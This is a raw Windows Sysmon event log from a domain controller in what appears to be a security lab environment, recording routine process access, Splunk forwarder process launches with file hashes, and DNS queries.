09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4E00-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.700{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D1-5F80-4E00-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1815e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.706{A5F018FF-28D1-5F80-4E00-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000001913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28D1-5F80-4D00-000000007F01}3980C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.653{A5F018FF-28D1-5F80-4D00-000000007F01}39803976C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000001911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.941{A5F018FF-28CF-5F80-2D00-000000007F01}2780win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe 22542200x80000000000000001910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.594{A5F018FF-28CF-5F80-3100-000000007F01}2600win-dc-1796611010.0.1.14;C:\Program Files (x86)\nxlog\nxlog.exe 22542200x80000000000000001909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.506{A5F018FF-28BD-5F80-0B00-000000007F01}868win-dc-1796611010.0.1.14;C:\Windows\System32\lsass.exe 10341000x80000000000000001908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4D00-000000007F01}3980C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.403{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4D00-000000007F01}3980C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.403{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D1-5F80-4D00-000000007F01}3980C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+64ab|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1807c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.418{A5F018FF-28D1-5F80-4D00-000000007F01}3980C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-licenseC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000001895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.387{A5F018FF-28D1-5F80-4C00-000000007F01}40164028C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4C00-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 